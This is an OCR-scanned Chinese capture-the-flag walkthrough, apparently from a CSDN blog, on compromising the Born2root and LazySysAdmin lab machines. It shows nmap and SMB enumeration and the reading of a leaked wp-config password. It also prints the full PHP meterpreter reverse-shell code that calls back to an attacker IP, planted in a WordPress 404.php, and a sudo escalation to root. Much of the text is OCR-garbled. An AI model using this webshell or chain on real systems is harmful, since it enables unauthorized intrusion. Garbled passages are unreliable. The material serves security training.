:~/Desktop/common-password# msfconsole
[*] Starting the Metasploit Framework cOnsole...\
//blog.csdn.net/u011005040

EHA B E BB —

msf > use auxiliary/scanner/ssh/ssh login
msf auxiliary( )} > show options

Module options (auxiliary/scanner/ssh/ssh login):
Name Current Setting Required Description

BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE SPEED 5 yes How fast to bruteforce, from ® to 5
ALL CREDS false no Try each user/password couple stored in the current database
3 ALL_PASS false no Add all passwords in the current database to the list
B ALL USERS alse no Add all users in the current datab. to the list
PASSWORD no A specific password to authentice ith
PASS FILE no File containing sswords, one per line
RHOSTS 1 The target address range or CIDR identifier
RPORT 22 3 The target port
STOP_ON_SUCCESS alse 1 Stop guessing when a credential works for a host
THREADS | yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS FILE no File containing users and pg vords separated by space, one pair per
USER AS PASS alse no Try the username as the pass 1 all users
USER FILE no File containing usernames,
VERBOSE alse H Whether to print output for all attempts

msf auxiliary( ) » set rhosts 192.168.1.106
rhosts => 192,168.1,106

msf auxili ) > set username hadi
username => hadi

msf auxiliary( > set password hadil23
password => hadil23

msf auxiliary(

[+] 192.168.1.106:22 -




4b(pLugaev), lus(netaev) LINux deplan 3.1b6.U-4-58b #1 Ueplan 3.1b.39-1+0ebBUZ (2ZUL1/-U3-87) 1b¥b GNU/LLINUX °

[*] Command shell session 1 opened (192.168.1.105:40385 -> 192.168,1.106:22) at 2017-12-30 22:02:52 -0500

[*] Scanned 1 of 1 hosts (106% complete) -

[*] Auxiliary module execution completed
L ( Vi

i A\sessions -i | 3THF£&1E)

XIERILE & IKshel B B 1% Zishel BFERIBOR, BT LAE A — & pythonfRADBEAT AL «
python -c “import pty; pty.spawn(‘/bin/bash’)”

su — root

L I B E 7 B i

MINR B —A>Klshell 7

k4% \su - rootE Froott R, #Aid, RIWEL0S,
Z &5 BlrootBLR

an:~# id

gid=0(root) groupe root)

-~

’F Blrooti R 2 f5, VI HFIFHAag3ltk. —BIBM T, flag>tiF=2rErootEF T .



WA: catflaglifh4 (—iEM flag.txd

Congratulations ! you pwned completly Born2root'

e you more fun and more kKnownledge ...
Pwning the box with a linux binary misconfiguration is more fun than with a Kernel Exploit !

Enumeration is The Key .

:[FB] Hadi Mene
hitps://blog.csdn.net/u011005040

2N, 2&BRFEfag.

FEXISSHARFEBES, KM EURM MK AA, BEREHH P ZMAFCHERESHE, MRS LET R IR
REUH P, AR R P& RIS PR .

CTFH Z4FANER tmp FEZMER (RRERZEXHEA) LUK letclcrontab 3L & € I 04T I S0 F

SMB (Server Message Block) @15 Hhil2 MK (Microsoft) FIZEHE/R (Intel)7E 198745l e P, T ERAE AMicrosofti 4% i)
BIRPML. J5RLinuEE T SMB, FHF8Nsamba.

SMBH#ZEZETFTCP—NETBIOS T K, —fim O4# 8139, 445

SMBWMY, THENLET LAV A P EIE, T 8ot B 3 g SO
@ 0 383

5 l] _1__] i \ @| |
Dy gy oo

st ,_J:EZQQL il
[ | | "':"\ / \ @ G

X F R E—AX BIPHUE KL LS, RATTRZEAX LT M, HRUTFEEI RS .

BB LRGN RS BIRTARI, AR5 AT X B B B AR, BRI AR iR AR



nmap -sV IP I BRSAE B

hmap -A -v -T4 IP #EELZETER



FrUGEHEE: oA\ — M nmapiZ e BUE B
:~# nmap -s¥Y 192.168.1.227
Starting Nmap 7.70@ ( https://nmap.org ) at 2020-11-86 10:15 EST
Nmap scan report for LazySysAdmin.lan (192.168.1.227)
Host is up (0.88034s latency).
Mot shown: 994 closed ports
STATE SERVICE VERSION
open ssh OpenSSH 6.6.1pl Ubuntu 2ubuntu2.8 (Ubuntu Linux; prot

open http Apache httpd 2.4.7 ((Ubuntu))

open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

open mysqgl MySOL (unauthorized)

open 1irc InspIRCd
MAC Address: 88:00:27:5B:65:14 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: LAZYSYSADMIN, Admin.local; 0S: Linux; CPE: cpe:/o:linux:lin
ux_kernel

Service detection performed. Please report any incorrect results at https://nmap

.org/submit/ hittps://blog.csdn.net/u011005040
Nmap done: 1 IP address (1 host up) scanned in 11.66 SEF ﬁgngi. i i

¥
on

BEFILHN2EEBEnmap -A-v -T4 IP
-A: RIUFIERRE, -vEAMERIME S &5 H T
-TAMER B KRG (HPE) KnmapA#iD
:~# nmap -A -v -T4 192.168.1.227
Starting Nmap 7.70 ( https://nmap.org ) at 2020-11-06 10:16 EST
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 10:16
Completed NSE at 10:16, 0.00s elapsed
Initiating NSE at 10:16
Completed NSE at 10:16, 0.00s elapsed
Initiating ARP Ping Scan at 10:16
Scanning 192.168.1.227 [1 port]
Completed ARP Ping Scan at 18:16, ©.84s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:16
Completed Parallel DNS resolution of 1 host. at 10:16, 0.80s elapsed
Initiating SYN Stealth Scan at 10:16
Scanning LazySysAdmin.lan (192.168.1.227) [1e00 ports]
Discovered open port 139/tcp on 192.168.1.227
Discovered open port 3306/tcp on 192.168.1.227
Discovered open port 86/tcp on 192.168.1.227
Discovered open port 22/tcp on 192.168.1.227
Discovered open port 445/tcp on 192.168.1.227
Discovered open port 6667/tcp on 192.168.1.227
Completed SYN Stealth Scan at 10:16, 06.07s elapsed (1000 total ports)
Initiating Service scan at 10:16
Scanning 6 services on LazySysAdmin.lan (192.168.1.227)
Completed Service scan at 10:16, 11.82s elapsed (6 services on 1 host)
Initiating 0S5 detection (try #1) against LazySysAdmin.lan (192.168.1.227)
NSE: Script scanning 192.168.1.227.
Initiating NSE at 10:16
Stats: 0:00:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 3 (1 waiting)
NSE Timing: About 99.63% done; ETC: 10:16 (8:00:00 remaining)
Completed NSE at 10:16, 18.05s elapsed
Initiating NSE at 10:16
Completed NSE at 10:16, 0.00s elapsed
Mmap scan report for LazySysAdmin.lan (192.168.1.227)
Host is up (0.88854s latency).
Mot shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; prot
ocol 2.8)
| ssh-hostkey:
| 1024 b5:38:66:0f:al:ee:cd:41:69:3b:82:cf:ad:al:T7:13 (DSA)
| 2048 58:5a3:63:69:d0:da:dd:51:cc:cl:6e:00:Td:7e:61:de (RSA) :
| 256 61:30:f3:55:1a:0d:de:cB:6a:59:5b: c9:9c: b4:92 -GS EHEGsdN.netu011005040




B—MRFX BT EHR— AN O, FARETEG. FHARO 0~1023% 1, FEFTHRSE R b &Rk O
BEXPR BRI D EEATERIN, SO TR K D B http AR 55 384T HE A 5

RIFFIE R K, ZEEHITIR T SMBAR ST

root@kali: ~ e e
File Edit Wiew Search Terminal Help = hil [ 1i=d
3029776 blocks of size 1024. 1456156 blocks available
php

wp-config.php (602.7 KiloByte c) (average 602.7 KiloB
Pictures Public Templates Vide wp-config.php

ktop DU(umean Downloads Music ictures Public Templates Vide
~#
(~# nmap -sV 192,

Starting Nmap 7.60 ( https: at 8-01-03 21:
Nmap n report for bogc 92 3
Host is up (0.0036s latenc

closed ports

SERVICE VERSION

el Hhuntu ubuntu2.8 (Ubunt i ; protocol 2.0)

netblos ssn Samba smhd 3. X --4 x'(workgroup WORKGROUP)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
= T

gL (diaacnior rZeay

pIRCd
(VMware)
YSYSADMIN, Admin.local; 0S: Linux; CPE: cpe: linux:linux kernel

Service detection ed. Pl port any ir "es s at h i//nmap.or
Nmap done: 1 IP addre ( ) ed in 12.05 SPLOﬁdS
~# nmap -A -v 4 192.1 sty

Starting Nmap 7.60 ( https://nmap.org ) at 18-01-03 21:33 EST
for scanning.

smbclient -L IP
smbclient “\\IP\$share’
get BUBSCIH

:~# smbclient -L 18.22.8.1
Enter WORKGROUP\root's password:

Sharename e Comment

print$ isk Printer Drivers
2§ isk sumshar
IPCS$ y IPC Service (We
Reconnecting with SMB1 for workgroup listing.

Comment

print F£ZFTERHL
share FLE 3043k
IPC 75 <?Fﬁé’|? /\T %Hﬂ)ﬁ% ﬁdﬂu“iﬂﬁﬁiﬁfﬁ web %23

Low —— 1. A R —_ — ST VS T I SN N ST



B PRZEIR— Psmbclient \IP$share’ (share/URAE 2 aa KIS 2 Tk )
print¥8 BUPR , #%E 5z 5

:~# smbclient '\\10.22.8.1\print$’
Enter WORKGROUP\root's password:

tree connect failed: NT_STATUS_ACCESS_DENIED

BT REAHA, HHshareRBHR:
:~# smbclient '\\10.22.8.1\shares%’
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> 1s
Tue Aug 15 07:05:52
Mon Aug 14 08:34:4
Tue Aug 15 07:21:08
Mon Aug 14 08:08:
Tue Aug 15 06:51:23
= 13 Mon Aug 14 ©8:20:05
robots.txt 9 Mon Aug 14 08:36:14 2€
todolist.txt 79 Mon Aug 14 ©08:39:56
e 8 Mon Aug 14 ©8:35:19
index.html 36072 Sun Aug 6 01:02:15
info.php 20 Tue Aug 15 06:55:19 26
test @ Mon Aug 14 ©8:35:10
old 8 Mon Aug 14 08:35:13

3029776 blocks of size 1024. 1457028 blocks available
smb: \> hitps://blog.csdn.net/u011005040

W R EEHANBIEE R, FiAextiBY, EETHERTA N

:~# smbclient '\\18.22.8.1\IPC$'
Enter WORKGROUPY\root's passwgrd.
Try "help" to get a list of possible commands
smb: \= 1s
NT STATUS OBJECT MAME NOT FOUND listing \*
smb: \> pwd
Current directory is \\18.22.8.1\IPC$\
smb: \=

RIUAT AN BB 6, AMBPABEE MR, Prili s R SA MR ErR, BrouB .
R K Bhshare R AT, FATHEN.

:~# smbclient '\\10.22.8.1\share$’
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \= 1s
Tue Aug 15 087:05:52 2017

s Mon Aug 14 :34:47 2017

wordpres Tue Aug 15 :21:88 2017
e Tiles 3 Mon Aug 14 ©8:08:26 2017
wp Tue Aug 15 06:51:23 2017
deets.txt Mon Aug 14 ©8:20:85 2017
robots.txt Mon Aug 14 ©8:36:14 2017
todolist.txt Mon Aug 14 ©8:39:56 2017
apache Mon Aug 14 ©8:35:19 2017
index.html 36072 Sun Aug 6 01:82:15 2017
info.php 20 Tue Aug 15 06:55:19 2017
test 8 Mon Aug 14 08: :10 2017
old 8 Mon Aug 14 08: 13 2817

3029776 blocks of size 1024. 1457028 ocks available
smb: \> I hitps:/blog.csdn.netiu011005040

XIHE AT DL F get R EF BUR S, I EBEFRBURUHTHIFEE (EXEE 2 —1deets.txt, getfh ) -

76 blocks of size 1024. 1457028 blocks av
smb: \> get deet

getting file \d LiEx ize deets.txt (22.6 KiloBytes/sec)
2.6 KiloBytes/se
smb: \=




T 53— AN L R E NI T 4 i SO A 2
(EEHEY i = new window)

deets.txt Documents error Pictures pwn Videos
Desktop Downloads Music Public Templates

:~# cat deets.txt
CBF Remembering all these passwords.

Remember to remove this file and update your password after we push out the serv
er.

Password 12345
# hitps:/fblog.csdn.net/u011005040

BE AR R — ARG 12345, 55IATBE R FEA RS B FEAS N B2 B I S, Jeid TR
THERNZEEBESURKNER, &2 —Mwordpressii NiXA M REF £ B A RANBERBUR(E Bcd fibls
V> cd wordpress)
\wordpressiy> 1s

Aug 15 07:21:88 2017

Aug 15 B87:05:52 2017

Dec 16 04:58:26 2015

Oct 14 15:39:28 2016

Aug 2 17:02:082 2017

Apr ©6 14:01:42 2017

Dec 19 06:20:28 2015

Sep 24 20:18:11 2013
Sun May 24 13:26:25 2015
Sun Nov 20 21:46:30 2016
Mon Dec 12 ©3:81:39 2016

Jan 24 06:08:42 2017
Mon Aug 21 06:87:27 2017
Mon Jan 2 12:58:42 2017
Wed Jan 11 08:13:43 2017
Tue Sep 27 17:36:28 2016
Tue Aug 15 07:40:13 2017
Wed Aug 31 12:31:29 2016
Fri May 12 13:12:46 2017
Mon Oct 24 23:15:30 2016
Mon Aug 29 08:80:32 2016
Mon Aug 21 ©5:25:14 2017
Wed Aug 2 17:02:03 2017

-config-sample.php
wp-trackback.php
wp-admin
wp-settings.php
wp-blog-header.php
index.php
wp-cron.php
wp-links-opml.php
readme.html
wp-signup.php
wp-content
license. txt
wp-mail.php
wp-activate.php
.htaccess
xmlrpc.php
wp-Llogin.php
wp-load. php
wp-comments-post.php
wp-config.php
wp-includes

O e E S E E I EEE O =E=EEEE=EEE=E=E2=0O===200

3029776 blocks of size 1024. 145%3%21E}0ck5 avai&ﬁHH%DbD4D

smb: ‘\wordpress\> og.csdn.net

RINEEEMMMZEEER, REAMMEREH, RNETE, KT —Dwp-config.phpBt B XXM, MEXHH+H—KIERTEEHI
Ty, BEERITRETREGESH L B%N.

MySQL settings

Secret keys

Database table prefix
ABSPATH

@link https://codex.wordpress.org/Editing wp-config.php

#* * # * #* #* * *

@package WordPress

*
e

/7 *¥* MySQL settings - You can get this info from your web host #** /f/
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress'};

/** MySQL database username #*/
define('DB USER', 'Admin');

/** MySQL database password */
define('DB_PASSWORD', 'TogieMYSQL12345°"');




Ty S osThdme "
define('DB _HOST',

'localhost');
0g,cpdn.net/iu011005040

/** Database Charset to use in creating databaserggﬁ

BATRIIX N E LT —4DB_NAME & B 244, /5 FHEADB_USER, DB_PASSWORD, ¥ HAH /A ZMEM. GXuRATN%E
3|, REW CAMRELIEEH P L8 RS, BUSRS S IAURE? D
BAVE EHBEMER LS, BT RS HFHIFBT —4~3306/Imysql i) H

ver

open netb ' | )
445/tcp open ok Sé 4.3 (wor : WORKGROUP)

6667/tcp open 1irc InspIRCd
c-info:
server: Admin.local

PRLEFRATTHEAE Lo BLm AR 8 ki — T IX AR FE -
T 5E mysql -h 10.22.8.1 -u Admin -p
; :~# mysql -h 10.22.8.1 -u Admin -p
“Enter password:
“ERROR 1130 (HY®OO): Host '10.22.38.234' is not allowed to connect to this MySQL

Fserver
:

:~#
]

XEHE R AT TR B fmysqlf RS, XEAT, RAIRBER TSN ER? XEHERZIFMER, BRIOIRKIFFRT —4 22
WO, RAVERER T, R7 4 AR AR T A B KT AR5 A M ssh il

Host 1s up 45 lLatency).

Mot shown: 994 closed ports

PORT S SERVICE VERSION
22/tcp ope ssh OpenSSH 6.6.1pl Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)

H: ssh Admin@10.22.8.1
B Z BT ARSI RESR, BATRIXAFILIFAIER, HERW
:~# ssh Admin@le.22.8.1
he authenticity of host '10.22.8.1 (18.22.8.1)' can't be established.
ECDSA key fingerprint is SHAZ256:pHi3EZCmITZrakf7q4RvD2wzkKqmlFOF/SIhYcFzkOI.
e you sure you want to continue connecting (yes/no)? yes

arning: Permanently added '18.22.8.1' (ECDSA) to the list of known hosts.

R T T T A T A T T T T T T T T T T T T T

EHF AT H AT

Welcome to Web TR1

All connections are monitored and recorded

Disconnect IMMEDIATELY if you are not an authorized user!

HR I

Admin@le.z22.8.1"
Permission denie
Admin@le.22.8.1's
Permission denied,
dmin@l®.22.8.1's password:
3.1: Permission denied (publickey,passworngh, Jlog.csdn.net/u011005040

FATER T 7T LA SMBREAT 2047, 7T LA SMBIZAZ Hp AT 2347«

searchsploit sambafizd5



BARRINRER — T R4 AR#KI SMBIRA S

FRE  EOT  VIew ncn ermnatl  relp

X B AT EIEHU R A S 5 1 H R
Samba smbd 3.X-4.X _
i~ - 4.X

Exploits: No
Shellcodes: No

BATRI, BEEMAUFARGER, RATET RE445HXANRAEBEH K. BE—THRARA:

:~# searchsploit Samba smbd 4.3.11-Ubuntu

Exploits: No Re

Shellcodes: No Result

AUES, MEAEEMRRE, MREEREE HRRRE ROTUERER, KRGS R RBUR

HIECERE T — AL MENGER LG, RITSRETHTTPHMUKSE A BT 24T (E A ATRAIE Xtsshy mysqlix L6 8 R SRR
MIFEA R, IHHZBIRARE]D -

5028 2
fi: Fidlirb nikto 3

FERRB A, BIRERES, Litwebshell

A5 A dirb 3R 2 5 B B S -
File Edit View Search Terminal Help
(Use mode '-w' if you want to scan it anyway)

- Entering directory: http://10.22.8.1/wordpress/
+ http://10.22.8.1/wordpress/index.php (CODE:301|SIZE:0)
=== DIRECTORY: http://10.22.8.1/wordpr Jwp-admin/
> DIRECTORY: http://108.22.8.1/wordpr /wp-content/

==> DIRECTORY: http://10.22.8.1/wordpress/wp-includes/
+ http://10.22.8.1/wordpress/xmlrpc.php (CODE:405|SIZE:42]

- Entering directory: http://10.22.8.1/wp/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan 1t anyMayp|og.csdn.net/u011005040

H#R T —Awp-admin, HEITIT:

Web_TR2 « Log In - Mozilla Firefox

Web_TR2«Log|n x |+

= @ @ (@ £ 10.22.8.1/wordpress/wp-login.phpiredirect = @ W
£+ Most Visited @ Getting Started ', Kali Linux g, Kali Training " Kali Tools ‘% Kali Docs

5y 9§



\\Y

Username or Email Address

Admin

Password

D Remember Me

I\ Z I fEwp-configik B Ik 5 %15, SHANBE—NEG:
Dashboard « Web_ | KZ — WordFress - Mozilla Firetox

Dashboard « Web_TR2 — V' X | +

[ €] 1 (® 10.22.8.1/wordpress/wp-admin/ - @ 1
£} Most Visited @ Getting Started "% Kali Linux “& Kali Training "% Kali Tools “& Kali Docs

WordPress 5.5.3 is available! Please update now.

Dashboard

Welcome to WordPress!
We've assembled some links to get you started:

Get Started

Customize Your Site

or, change your theme completely

Next Steps

74 FWordPressmi 11T B A I 52 H 75K b ok D474

#1 £ webshell

msfvenom -p php/meterpreter/reverse_tcp lhost=X2t & HLIPHilL Iport=4444 -f raw > /root/Desktop/shell.php



’E)Hﬁ@]%iﬁﬁ, ﬁ)\msfvenomﬁk‘rﬁlH’E /|\php E’Jwebshell, Ihost (Iocalhost) I&:LE*ILIPﬂEht, Iport A ME T K% 05, XCAE# R Araw

/ .168.253.12"; sport = 4444; if (($f = 'stream socket client') && is ca‘l‘lable(sf]] { $s = $f("tcp://{$1ip|
F:{$port}"); $s_type = 'stream’ o showmenns G& (SF = fsockopen ) & is callable(sf)) { $s = $f($ip, $port); $s type = 'stream'; } if (!$s && ($f =
'socket create') && is ca‘L‘lablenr” 1 ;s = $T(AF_INET, SOCK STREAM, SoL _TCP); $res = @socket connect($s, $ip, $port], if (|$res) { die(); } $s t
pe = sncket‘. } it ('ss type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4);
break; case 'socket': $len = socket_read($s, 4); break; } if (!sSlen) { die(); } $a = unpack("Nlen", $len); $len = S%a['len’ ] $b = ''; while (strle
n($b) < $len) { sw:l.tch ($s_type) { case 'stream’: $b .= fread($s, Slen-strlen($b)); break; case so:ket : 8b .= socket_read($s, $len-strlen($b));
hreak } } $GLOBALS['msgsock'] = 3$s; sGLﬂBALS['msgsock_type'] = §s_type; if (extension loaded('suhosin') &% ini get('suhosin utor ﬁisable eua‘l
$suhos:.n bypass=create function('', $b); $suhosin bypass(); 1 eval ($b); i SUMNLNEUL A

BT RBATIE & Z I B S ) — A3, lzﬂl%ﬁi—/\)tﬁ:webshell

dit webshell.php

bash: ge man ‘not found
: # gedit webshell.php

ctrl+v ctri+sfR&F

wp-config.php x webshell.php x

<?php /**/ error_reporting(@); $ip = '10.22.38.234'; $port =
4444; if (($T = 'stream socket client') && is callable($f)) { $s
= $F("tcp://{$ip}:{$port}"); $s type = 'stream'; } if (!1%s && (4T
'fsockopen') && is callable(s$f)) { $s = $f($ip, $port); $s type
= 'stream'; } if (!%s && (%T = 'socket create') &&

is callable($f)) { %$s = $T(AF_INET, SOCK STREAM, SOL TCP); $res =
@socket connect($s, $ip, $port); if (!$res) { die(); } $s type =
'socket'; } if (!4$s type) { die('no socket funcs'); } if (!$s)

{ die('no socket'); } switch ($s type) { case 'stream': $len =
fread($s, 4); break; case 'socket': $len = socket read($s, 4);
break; } if (!$len) { die(); } %$a = unpack("Nlen", $len); $len =

$a['len']: $b = ''; while (strlen($b) =< $len) { switch ($s type)
{ case 'stream': %b .= fread($s, %$len-strlen($b)); break; case
'socket': $b .= socket read($s, $len-strlen($b)); break; } }
$GLOBALS|[ 'msgsock'] = $s; $GLOBALS['msgsock type'] = $s type; if

(extension loaded('suhosin') &&
ini_get('suhosin.executor.disable eval'))

{ $suhosin bypass=create function('', $b); $suhosin bypass(); }
else { eval($b);: } die();]

JE 3 M Wy

T HEERATRE 3 BT PAATX AN b O BT IR B A ]2 B2
msfconsole& L R M Z 4, WMELRIBZENR 2L+ A SR RHES
NG 3 T

Sk W5 webshellik 5] Fshell

use exploit/multi/handler
exploit(handler) payload php/meterpreter/reverse_tcp
exploit(handler) show options

handler) lport 4444
exploit(handler)

exploit

(

exploit(handler) lhost HhHLIPHE
(
(

4% Webshell



% FwordpressiH 15t 7% 2 L fEwebshell: _EfswebshellfRHE, FEA1A & € K775

FRRINBURERERRLE S, Efswebshell. i iTwebshell(V i EA webshell ) php 1 i)

K18 I # Hshell

wordpress _EfE/ theme 404.php

AT hitp://#83%IP/wordpress/wp-content/themes/twentyfourteen/404 .php

THEFFGEERIE, ERBATEANS RS KGR,

Theme Name: Twenty Fifteen
Theme URI: https://wordpress.org/themes/twentyfifteen/
Author: the WordPress team
Author URI: https://wordpress. orgs
Descriptien: Our 2815 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen’
sizes, and suitable for multiple l.mql;;lggﬂ,. W dr,u,\gm:l: it using a mobile=first approach, mEaning you
smartphone, tablet, laptop, or desktop computer.
Version: 1.8 -
License: GNU General Public License w2 _pieln
URI o By licenses/qpl-2.0. hial
a Ptumns, left-sidebar, accessibility-ready, custom-background, custem-colers, custom-
ee-tormats, rtl-language-support, sticky-post, threaded-comments, translation-ready
Text Domain: twentyfifteen

M Appearance

Editar

This theme, like WordPress, is licensed under the GPL.
Use it to make something cool, have fun, and share what you'we learned with others.

* Table of Contents

1.8 - Raset

2.8 - Genericons

3.8 Typography

4.8 - Elements

5.8 - Forms

6,8 - Navigations
6.1 - Links
6.2 - Henus

B R A LG N404.php, RATRSE:

Select theme to edit: Twenty Fifteon j seloct

stroam’: )} if Templates
'_"I 'I'l":f' AN, 404 Tamplate
en']; &b .
T ek f
it I
SRIAE — LAY, FRATIL B 3R A B webshe VR AR AD o
Edit Themes
Twenty Fifteen: 404 Template (404.php) Selectthemetoedit: Twenty Fifteen j Select
= 'stream'; } if (!$s && (sf = 'socket create') && is_callable(sf)) { $s = Templates
Sf[AF_;\M\EfL_SUCK_STREAM, SOL_TCP); Sres =_@socket_connect[=:.s, $ip, Sport); if 404 Template
(t$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } (404.php)
if (!%s) { die('no socket'); } switch ($s_type) { case 'stream’: slen = fread(ss,
4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } Archives
$a = unpack("Nlen", $len); slen = sal'len']; $b = "'; while (strlen(sb) = $len) { (archive.php)

switch (8s_type) { case 'stream': $b .= fread($s, S$len-strlen(sb)); break; case
'socket': $b .= socket_read($s, $len-strlen(sb)); break; } } $GLOBALS['msgsock'] =

Rt e b

author-bie.php

$s; $GLOBALS['msgsock type'l] = $s_type; if (extension_loaded('suhosin') && Comments
ini get('suhosin.executor.disable_gval')) { $suhgsin bypass=create_ function('", (comments.php)
$b); %suhosin bypass(); } else { gval(é$b); } die();

content-link.php

content-nene.php

content-page . php




25 Ry AR SO

Documentation: Function Name... j Look Up

Ron, OB, X E404H AT H Rwebshellf S, THEEAIRIAT—T (A1 LAEKIwebshellZF E 5 FFH K. http:/#15
IP/wordpreS_E/_\fvp-_f;gpk%ft_/t_h_ehrnesl/_t\ﬁentyfqu_rteen/404.php)

File Edit View Search

root@kali: ~ e ® |
Terminal Help

uid=@(root) gid=0(root) groups=0(root)

msf5 = shell
id
Unknown command:

exec: id

uid=e(root) gid=8(roo
msf5 = use exploit/mu
maf5 exploit(

= 10.22.38.234
msf5 exploit(
lport == 4444
msf5 exploit(

[#] Started rever
[*] Sending stag
[*] Meterpreter
11-07 08:00:18 -C

Channel ©
id
uid=33 (www-data) gid=33(www-data) groups=33(www-data)

RILIDAE— M www-data
X, BAIRE T RS KRR
B TR R ERBUR S 22 HflagE

shell.

t) groups=0(root)
lti/handler
} = HFt payload php/meterpreter/reverse tcp
) = Si‘:‘.t 1ho-.t 10.22.38.234
) = set lport 4444
) = run
CP handler on 10.22.38.234:4444

3247 byt to 10.22.8.1
ion 1 opened (10.22.38.234:4444 -> 10.22.8.1:60774) at 2020

http log.csdn.net/u011005040

id.

Crl::dtt:d c

LHATRERBIMA 4K, PrelZERi

AL S5 python -¢ “import pty:pty.spawn(’/bin/bash’)’

(-cERPATpythonH I — %4, )

python -c "import pty;pty.spawn('/bin/bash')"



/wp-content/themes/twentyseventeens

%T%%W%Eﬁ&ﬁﬁﬁﬁy%ﬁmmﬂm,%ﬁﬁgT%%ﬁﬁm” WH ML . cat /etc/passwd
55,/ wWp - Cnntrntfthﬁmesftwrﬁt rseventeen$ cat /etc/passwd

t:/root:/bin/bash
- aemon: /usr/sbin: fusr/sbin/nologin
2:bin:/bin:fusr/sbin/nologin
:sys:/dev:fusr/sbin/nologin
4:65534:sync:/bin:/bin/sync
:/usr/games: fusr/sbin/nologin
varjcachclman juar!wblninologln

.mdll./le/mdll.belfbblﬁ/ﬁologlﬁ
:9.9:new5:fvar/spool/news:jusrjsbinfnologin
10:10:uucp:/var/spool/uucp: fusr/sbin/nologin
3: pru»y /bin:/usr/sbin/nologin
:www-data: /var/www: /usr/sbin/nologin
4: bdckup /var/backups: /usr/sbin/nologin
3:Mailing List Manager:/var/list:/usr/sbin/nolegin
1ch fvar/run/ircd: /usr/sbin/nologin
:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologi

:1
'33
3

nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin
libuuid:x:100: 101 :/var/lib/1libuuid:
homcfayalog /bin/false

- :/var/run/dbus: /bin/false

103:109::jvarjlibflandscape:jbinjfalse

:1000:togie,,, : fhome/togie: /bin/rbash

:¥:104:65534: : /var/run/sshd: fusr/sbin/nologin

mysql:x:105:113:MySQL Serwver,,,:/nonexistent: fblnffal%%

o S fu011005040
</html/wordpress/wp-content/themes/twentyseventeen$ I Hiblog.csdn.neti011005040

1011005040

BATVE X Mogie£Ehome B F T, TATIMAERBEATIRA, B, BAIVIMBZH4: su togie
RINFEZR, THELAT
=/html/wordpress/wp-content/themes/twentyseventeen$ su togie
su togie
Password:

I R4 5L A T3 12345, RATKRAE:

=/html/wordpress/wp-content/themes/twentyseventeen$ su togie
su togie
Password: 12345

=/html/wordpress/wp-content/themes/twentyseventeen$ id

id

uid=1000(togie) gid=1000(togie) groups=1008(togie),4(adm),24(cdrom),27(sudo),36(
dip),46(plugdev),110(1lpadmin),111({sambashare)
=/html/wordpress/wp-content/themes/twentyseventeens$




T HEBATR Y FerootB fE, BATIEFHsudo -I5RE— T susb AT R L E
</html/wordpress/wp-content/themes/twentyseventeen$ sudo -1
sudo -1
[sudo] password for togie: 12345

Matching Defaults entries for togie on LazySysAdmin:
env_reset, mail badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n

User togie may run the following commands on LazySysAdmin:
(ALL : ALL) ALL e
: 0C 1n.net/u011005040
=/html/wordpress/wp-content/themes/twentyseventeen$ i 4

THEEAEHsudo suﬂ%ﬁf:_ﬂroot{_ﬁ:

</html/wordpress/wp-content/themes/twentyseventeens$
sudo su
root@LazySysAdmin: /var/www/html/wordpress/wp-content/themes/twentyseventeen# I =

ATBLR I, B4R RirootBU R T
E%ﬂ§Uroot2‘-)§ﬁi1l‘]ﬁ?§§?ﬁﬂag, HE#cdZFroot:

Jroot

n:~# cat flag.txt

jshfxoufa

RIMEMagEET T, REXNMEGRELET.

1%\ éé‘j
X FFF 113914455 I FIHLAS — E BvE R S 7 LB 248 Fsmbclient® F 23t = H R & R BUR T
— BB T flaglE #87E/rootH X F, I HEEIRFroottl R4 REEF WA

RS B4



nmap -sV IP
nmap -A -v -T4 IP

smbclient -L IP
smbclient “\\IP\$share’
get BUBSCIH

mysgql -h 10.22.8.1 -u Admin

ssh Admin@10.22.8.1

searchsploit hWRAS
17 e W -
msfvenom -p php/meterpreter/reverse tcp lhost=X#HLIPHilE 1port=4444 -f raw root/Desktop/shell.php

B
use exploit/multi/handler
exploit(handler) payload php/meterpreter/reverse_tcp
exploit(handler) show options
exploit(handler) lhost ZritlIPHEME
exploit(handler) lport 4444
exploit(handler)

gedit webshell.php

python -c “import pty;pty.spawn(’ bash’)”

cat /etc/passwd

CTFill%k k55 % EFTPIR S

FTP &File Transfer

Protocol (CAFA&HITHND BIZESCRIFR, M SCRFONSCAE . B Finternet LB HISCHRIXUAfE . FE, BHE2—NRHAER
(Application) . ETFAEMERIERGE AEMFTPR AT, TNHTA XL R 27 AR <5 5 —F i ME RSt . EFTPRIERE A%, A
FE&FBRFHMES: “T#H” (Download) F1" Ef£" (Upload) . "F#"SCHH 2 MNZEENE N HFZEE CRTHENL b " A" S0 H=
KN E R ENLFE N2 TR EN L. HinternetiZB 5K ¥, APAMEISEPHIERR (W) @mREEN EE CFE .

& BRI

nmap -sV 3 IPHubE

nmap -T4 -A -v #IZIPHhht

KK

Syiinmap RS R, HXFERHET SN, BETUAHKER




SEBWRERE, RIFFHT 21, 22, 80%H
